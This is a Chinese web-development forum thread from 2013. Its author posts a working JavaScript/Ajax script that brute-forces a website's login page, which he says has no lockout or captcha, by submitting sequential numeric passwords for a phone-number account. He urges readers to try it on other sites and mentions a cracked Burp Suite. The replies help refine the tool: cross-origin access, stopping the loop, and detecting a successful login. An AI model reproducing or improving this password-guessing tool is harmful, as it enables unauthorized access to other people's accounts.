用Ajax来get,post数据实现【轻量而高效的】暴力破解

TianYi3G2013 2013-10-04 10:45:25
前言

在.Net环境中,我们常常使用HttpRequest,HttpResponse来发送,交换数据,这个相信不少朋友都用过。但这种方法对于Ajax来说就过于重量级了。
可以使用Web,Winform,Console版本,后者效率较高一点,前段时间,园子里有位朋友也做了个【把骗子玩了一把】的示例。

【它山之石】:

今天把骗子耍了一把 - 翟士丹 Stan Zhai - 博客园
http://www.cnblogs.com/jasondan/archive/2013/09/13/3319853.html


在.Net中调用各种类库,的确很方便,如果没能够做到多线程的话,效率也是很低的,另一方面,它严重依赖.Net平台。。。



近来,刚刚开始接触Ajax,主要练习两个方法 get,post:
XMLHttpRequestGet
复制代码

<script type="text/javascript">
var urlGet = "http://XXXX/login.aspx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var xmlhttpGet;
var returnData;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpGet=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttpGet=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{  <!-- xmlhttp.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
returnData=xmlhttp.responseText;
alert(returnData);
}
}
xmlhttp.open("GET",urlGet,true);
xmlhttp.send();
</script>

复制代码


XMLHttpRequestPost
复制代码

<script type="text/javascript">
var url="http://xxxx/login.ashx; //post方式,浏览器不会缓存,这里不再需要随机参数
var xmlhttpPost;
var returnData;
var toSendData="loginId=xxx&passWord=boy";    //这里是要post的数据,用&号分隔

if (window.xmlhttpPostRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttpPost=new xmlhttpPostRequest();
}
else
{// code for IE6, IE5
xmlhttpPost=new ActiveXObject("Microsoft.xmlhttpPost");
}
xmlhttpPost.onreadystatechange=function()
{
if (xmlhttpPost.readyState==4 && xmlhttpPost.status==200)
<!-- xmlhttpPost.readyState有4种状态,0-未初始化,1-读取中,2-已读取,2-交互中,4-完成; -->
<!-- status为服务器返回的状态码,200-成功 -->
{
<!-- returnData=document.getElementById("txtHint").innerHTML=xmlhttpPost.responseText; -->
returnData=xmlhttpPost.responseText;
alert(returnData);
}
}
xmlhttpPost.open("post",url,true);
<!-- post数据时,这句话是必须的: -->
xmlhttpPost.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
xmlhttpPost.send(toSendData);
</script>

复制代码


无尽插柳,柳成荫

看了那篇【今天把骗子玩了一把】的文章加上学习了上面那两个方法之后,想找个什么网站来GET,POST数据玩一玩,于是找到了某网站的一个账号登录页,用Fiddle抓包看了一下,发现,登录时,即使密码错误多次,它都不会把你列为黑名单。。也没有验证码的~~~登录的时候,只要要提供几个参数就可以了,以下为暴力破解的示例,

【为了防止搞跨服务器,我把敏感URL处理了~~各位了解原理后,可以找一些其他网站试试~~切勿做坏事哦,后果自负~~~】
复制代码

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
</head>
<body>
<p id="time"></p>
<p id="endtime"></p>
<p id="txtHint"></p>
<p id="curPwd"></p>
<p id="ok"></p>

<button onclick="startTask()">startTask</button>

<button onclick="stopTask()">stopTask</button>

<script type="text/javascript">

document.getElementById("time").innerHTML = new Date();

var __VIEWSTATE=null;
var loginName=手机号码;
var pwd=100000;
var timerid = null; //用来做定时器

function stopTask() {
clearInterval(timerid);
}

function startTask() {
timerid = window.setInterval( //达到循环调用的效果;
//while(true) //与.Net环境不同,用while,直接卡死
//{
function startCrack()
{
var urlGet = "http:XXXXX/login.xxx?"+Math.random(); //get方式提交,加上随机数,避免浏览器缓存而304;
var urlPost = "http:XXXXX/login.xxx";

var returnData;
var xmlHttpGet;
var xmlHttpPost;

if (window.XMLHttpRequest) { //code for IE7+,Firebox,Chrome,Opera,Safari

xmlHttpGet = new XMLHttpRequest();

xmlHttpPost = new XMLHttpRequest();
}
else {

xmlHttpGet = new ActiveXObject("Microsoft.XMLHTTP");

xmlHttpPost = new ActiveXObject("Microsoft.XMLHTTP");
}

xmlHttpGet.onreadystatechange = function ()
{
if (xmlHttpGet.readyState == 4) //get方式,获取__VIEWSTATE
{
if (xmlHttpGet.status == 200) //在VisualStudio中运行不能起作用的,异域问题?
{
e = document.createElement('div');
e.style.display="none";
e.innerHTML = xmlHttpGet.responseText;
document.body.insertBefore(e,null);
//alert(document.getElementsByName('__VIEWSTATE')[0].value);
__VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value;


xmlHttpPost.onreadystatechange = function () //post方式,提交表单数据;
{
if (xmlHttpPost.readyState == 4)
{
document.getElementById("curPwd").innerHTML=pwd;
if (xmlHttpPost.status == 200)
{


//document.getElementById('ok').innerHTML=xmlHttpPost.responseText;


document.getElementById("time").innerHTML = new Date();
if (xmlHttpPost.status == 302) //密码正确后,返回302,但无法进入到这一句;
{
document.getElementById("time").innerHTML = new Date();
alert("scucess! Pw is:"+pwd);
clearInterval(timerid); //执行后,达不到马上停止的效果,这里暂时用多句来减缓,要改善
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
clearInterval(timerid);
}
}
}
}
xmlHttpPost.open("post", urlPost, true);
xmlHttpPost.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //post方式要设置httpHeader的类型;

var toSendData = "__VIEWSTATE="+encodeURIComponent(__VIEWSTATE)+"&edtUserCode="+loginName+"&edtPWD="+pwd+"&ddlbLoginMode=xxxxxxx&btnLogin=%B5%C7%C2%BC";

xmlHttpPost.send(toSendData);
pwd++;
}
}
}
xmlHttpGet.open("GET", urlGet, true);
xmlHttpGet.send();
}
, 1 //单位是ms;
);
}
</script>
</body>
</html>

复制代码
万事俱备,只欠东风。。。

现在,把上面的代码修改一下保存为HTML文件,在IE浏览器中运行便可以看到效果(CPU差的慎测,小心卡住,没响应~~)

【问题0】非IE不能获取服务器返回的数据,【跨域】问题?请老鸟说一说!

【问题1】上面有个缺憾是,当验证密码通过(用Fiddle抓包可以看到状态码为:302)之后,它不能检查到,所以跳不出来。。。

【问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决?
百家争鸣

如今,Web技术很多,就拿简单的HTTP,GET,POST数据来说,可以用.Net,Java等,或者直接用第三方Web安全检测工具,如著名的:burpsuitepro_v1.4_professional_cracked,可以很快地实现GET,POST数据。

但说到轻量级的,有与Javascript为辅助的Ajax争锋么?一个3KB左右的文件,加上一个IE6以上的浏览器,就可以实现了,如果处理一下上面的那个【问题0】,兼容其它浏览器的话,还可以做到跨平台了哦~~~一次编写,到处运行~~~



此文纯属抛砖引玉,望各位不要见笑,期望你们的精彩回复!群策群力,解决上面提到的那几个问题。
...全文
549 7 打赏 收藏 转发到动态 举报
写回复
用AI写文章
7 条回复
切换为时间正序
请发表友善的回复…
发表回复
TianYi3G2013 2013-10-06
  • 打赏
  • 举报
回复
【更新】 上面的代码用插入一个DIV元素的方式来获取__ViewState,这样造成页面冗余,严重影响性能,造成浏览器假死状态。 改为正则可以解决这个问题了。如下:
var str = xmlHttpGet.responseText;
                                str.search(/id="__viewstate"\svalue="([^"]+)/i);
                                //alert(RegExp.$1);
                                 
                                //console.log(RegExp.$1);
                                 
                                /*
                                e = document.createElement('div');
                                e.style.display="none";
                                e.innerHTML = xmlHttpGet.responseText;                             
                                document.body.insertBefore(e,null);
                                //alert(document.getElementsByName('__VIEWSTATE')[0].value);
                                __VIEWSTATE=document.getElementsByName('__VIEWSTATE')[0].value;
                                */
                                 
                                __VIEWSTATE=RegExp.$1;

 
KK3K2005 2013-10-06
  • 打赏
  • 举报
回复
问题2】上面是用window.setInterval(XX,1)来达到循环调用的,但用 clearInterval(timerid);来清除,往往不能马上停止,用什么方法比较好解决? 一般是建立 一个对象 该对象有 status [状态 比如1 表示 正常运行 0表示结束 ] 该对象执行 start [初始化 并开始setInterval] 该对象执行 stop [clearInterval 并且设置status=0] 该对象应该有个 run方法[执行真正的业务操作比如ajax] 被start调用 run方法应该在所有的关键环节中检查status 并执行相应步骤
TianYi3G2013 2013-10-06
  • 打赏
  • 举报
回复
引用 4 楼 showbo 的回复:
internet是发布后的,所以发布后通过http协议访问网站后会报错,要设置intranet,就是第二项,不是第一项 对于标准浏览器,除非被请求的ajax页面设置过过access-Control-Allow-Origin响应头为*,要不虽然发出了请求,但是获取不到返回值
有没有回复错了帖子呢?感觉 有点怪怪的。。 IE10不算对于标准浏览器么?
Go 旅城通票 2013-10-06
  • 打赏
  • 举报
回复
internet是发布后的,所以发布后通过http协议访问网站后会报错,要设置intranet,就是第二项,不是第一项 对于标准浏览器,除非被请求的ajax页面设置过过access-Control-Allow-Origin响应头为*,要不虽然发出了请求,但是获取不到返回值
尘缘udbwcso 2013-10-05
  • 打赏
  • 举报
回复
Go 旅城通票 2013-10-05
  • 打赏
  • 举报
回复
非IE需要页面设置过access-Control-Allow-Origin响应头浏览器才会处理请求,这个响应头一般登录页面不可能设置,就算设置也不可能设置为* IE和本地设置有关,你关了通过域访问数据源照样报错 clearInterval只是清空下一次的请求,不再发送,当前的会继续运行,要立即停止要设置一个变量记录状态,然后状态转换函数中检查这个状态,而不是靠clearInterval控制状态 问题1你要自己看他登陆成功后转向哪个页面或者返回一些什么特殊信息来判断 总的来说爆破这种不是js来做的,是winform+线程(无跨域问题,也可以检查状态,js检查不了302状态,会继续请求302请求的页面,而不是停留)
TianYi3G2013 2013-10-05
  • 打赏
  • 举报
回复
引用 2 楼 showbo 的回复:
非IE需要页面设置过access-Control-Allow-Origin响应头浏览器才会处理请求,这个响应头一般登录页面不可能设置,就算设置也不可能设置为* IE和本地设置有关,你关了通过域访问数据源照样报错
嗯,多谢版主指点了! 但根据你的提示,我试下下进行了以下操作,与你说的不符。。。现在变了? 想在IE的【设置】---【Internet选项】---【安全】---【自定义级别】中把【通过域访问数据源】设为禁用, 原来默认设置就是【禁用】了的,而执行下下代码进行跨域访问时,没报任何错误:
<!DOCTYPE html>
<html>
<head>
<script>
function loadXMLDoc()
{
	var xmlHttpGet;
	if (window.XMLHttpRequest)
	{// code for IE7+, Firefox, Chrome, Opera, Safari
		xmlHttpGet=new XMLHttpRequest();
	}
	else
	{// code for IE6, IE5
		xmlHttpGet=new ActiveXObject("Microsoft.XMLHTTP");
	}
	
	xmlHttpGet.onreadystatechange=function()
	{
		if (xmlHttpGet.readyState==4 && xmlHttpGet.status==200)
		{			
			document.getElementById("myDiv").innerHTML=xmlHttpGet.responseText;
		}
	}		
		xmlHttpGet.open("GET","http://www.baidu.com/s?wd="+document.getElementById("txtValue").value,true);			
		xmlHttpGet.send();
}
</script>
</head>
<body>
<input id="txtValue" type="text" value="" />
<button type="button" onclick="loadXMLDoc()">Change Content</button>
<div id="myDiv"><h2>Let AJAX change this text</h2></div>
</body>
</html>
如果在非IE中执行,如我用Firefox 23,在FireBug可以看到状态码200,但是查看响应的信息,却是空白的。用抓包工具倒是可以看到: 接收: 结果代码:0x00000000 HTTP/1.1 200 OK Date: Sat, 05 Oct 2013 06:31:36 GMT Server: BWS/1.0 Content-Length: 17593 Content-Type: text/html;charset=utf-8 Cache-Control: private BDPAGETYPE: 3 BDUSERID: 0 BDQID: 0xd764795a168fc903 Set-Cookie: BDSVRTM=97; path=/ Set-Cookie: H_PS_PSSID=3525_3379_1431; path=/; domain=.baidu.com Set-Cookie: BAIDUID=CB49FD5DC8B81713492F21FC49440FE9:FG=1; expires=Sat, 05-Oct-43 06:31:35 GMT; path=/; domain=.baidu.com Content-Encoding: gzip P3P: CP=" OTI DSP COR IVA OUR IND COM " Connection: Keep-Alive 于是,在XmlRequest对象中加上这一句: xmlHttpGet.setRequestHeader("Access-Control-Allow-Origin","*"); 在IE,正常请求,响应。 在FireFox23. 在FireBug中看到,直接被403禁止了。 抓包结果: 发送: 结果代码:0x00000000 OPTIONS /s?wd=ddddddddddd HTTP/1.1 Host: www.baidu.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Origin: null Access-Control-Request-Method: GET Access-Control-Request-Headers: access-control-allow-origin Connection: keep-alive 响应的信息就根本看不到了,FireFox禁止了?

52,797

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 Ajax
社区管理员
  • Ajax
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧